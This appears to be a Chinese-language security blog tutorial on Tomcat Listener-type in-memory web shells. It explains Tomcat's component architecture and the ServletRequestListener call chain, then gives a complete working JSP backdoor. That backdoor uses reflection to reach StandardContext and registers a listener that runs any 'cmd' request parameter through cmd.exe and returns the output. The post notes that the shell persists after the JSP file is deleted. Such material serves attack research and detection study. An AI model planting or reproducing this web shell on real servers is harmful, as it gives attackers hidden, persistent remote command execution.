Tomcat 內存馬(一)Listener型
一、Tomcat介紹
Tomcat的主要功能
tomcat作為一個 Web 服務器,實現了兩個非常核心的功能:
- Http 服務器功能:進行 Socket 通信(基於 TCP/IP),解析 HTTP 報文
- Servlet 容器功能:加載和管理 Servlet,由 Servlet 具體負責處理 Request 請求
以上兩個功能,分別對應着tomcat的兩個核心組件連接器(Connector)和容器(Container),連接器負責對外交流(完成 Http 服務器功能),容器負責內部處理(完成 Servlet 容器功能)。
-
Server
Server 服務器的意思,代表整個 tomcat 服務器,一個 tomcat 只有一個 Server Server 中包含至少一個 Service 組件,用於提供具體服務。 -
Service
服務是 Server 內部的組件,一個Server可以包括多個Service。它將若干個 Connector 組件綁定到一個 Container -
Connector
稱作連接器,是 Service 的核心組件之一,一個 Service 可以有多個 Connector,主要連接客戶端請求,用於接受請求並將請求封裝成 Request 和 Response,然後交給 Container 進 行處理,Container 處理完之後在交給 Connector 返回給客戶端。
-
Container
負責處理用戶的 servlet 請求
Connector連接器
連接器主要完成以下三個核心功能:
- socket 通信,也就是網絡編程
- 解析處理應用層協議,封裝成一個 Request 對象
- 將 Request 轉換為 ServletRequest,將 Response 轉換為 ServletResponse
以上分別對應三個組件 EndPoint、Processor、Adapter 來完成。Endpoint 負責提供請求位元組流給Processor,Processor 負責提供 Tomcat 定義的 Request 對象給 Adapter,Adapter 負責提供標準的 ServletRequest 對象給 Servlet 容器。
Container容器
Container組件又稱作Catalina,其是Tomcat的核心。在Container中,有4種容器,分別是Engine、Host、Context、Wrapper。這四種容器成套娃式的分層結構設計。
四種容器的作用:
- Engine
表示整個 Catalina 的 Servlet 引擎,用來管理多個虛擬站點,一個 Service 最多只能有一個 Engine,但是一個引擎可包含多個 Host - Host
代表一個虛擬主機,或者說一個站點,可以給 Tomcat 配置多個虛擬主機地址,而一個虛擬主機下可包含多個 Context - Context
表示一個 Web 應用程序,每一個Context都有唯一的path,一個Web應用可包含多個 Wrapper - Wrapper
表示一個Servlet,負責管理整個 Servlet 的生命周期,包括裝載、初始化、資源回收等
如以下圖,a.com和b.com分別對應着兩個Host
tomcat的結構圖:
二、Listener內存馬
請求網站的時候, 程序先執行listener監聽器的內容:Listener -> Filter -> Servlet
Listener是最先被加載的, 所以可以利用動態註冊惡意的Listener內存馬。而Listener分為以下幾種:
- ServletContext,服務器啟動和終止時觸發
- Session,有關Session操作時觸發
- Request,訪問服務時觸發
其中關於監聽Request對象的監聽器是最適合做內存馬的,只要訪問服務就能觸發操作。
ServletRequestListener接口
如果在Tomcat要引入listener,需要實現兩種接口,分別是LifecycleListener
和原生EvenListener
。
實現了LifecycleListener
接口的監聽器一般作用於tomcat初始化啟動階段,此時客戶端的請求還沒進入解析階段,不適合用於內存馬。
所以來看另一個EventListener
接口,在Tomcat中,自定義了很多繼承於EventListener
的接口,應用於各個對象的監聽。
重點來看ServletRequestListener
接口
ServletRequestListener
用於監聽ServletRequest
對象的創建和銷毀,當我們訪問任意資源,無論是servlet、jsp還是靜態資源,都會觸發requestInitialized
方法。
在這裡,通過一個demo來介紹下ServletRequestListener
與其執行流程
配置tomcat源碼調試環境://zhuanlan.zhihu.com/p/35454131
寫一個繼承於ServletRequestListener
接口的TestListener
:
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("執行了TestListener requestDestroyed");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("執行了TestListener requestInitialized");
}
}
在web.xml中配置:
<listener>
<listener-class>test.TestListener</listener-class>
</listener>
訪問任意的路徑://127.0.0.1:8080/11
可以看到控制台打印了信息,tomcat先執行了requestInitialized
,然後再執行了requestDestroyed
requestInitialized:在request對象創建時觸發
requestDestroyed:在request對象銷毀時觸發
StandardContext對象
StandardContext
對象就是用來add惡意listener的地方
接以上環境,直接在requestInitialized
處下斷點,訪問url後,顯示出整個調用鏈
通過調用鏈發現,Tomcat在StandardHostValve
中調用了我們定義的Listener
跟進context.fireRequestInitEvent
,在如圖紅框處調用了requestInitialized
方法
往上追蹤後發現,以上的listener是在StandardContext#getApplicationEventListeners
方法中獲得的
在StandardContext#addApplicationEventListener
添加了listener
這時候我們思路是,調用StandardContext#addApplicationEventListener
方法,add我們自己寫的惡意listener
在jsp中如何獲得StandardContext
對象
方式一:
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
方式二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
以下是網絡上公開的內存馬:
test.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
首先訪問上傳的test.jsp生成listener內存馬,之後即使test.jsp刪除,只要不重啟服務器,內存馬就能存在。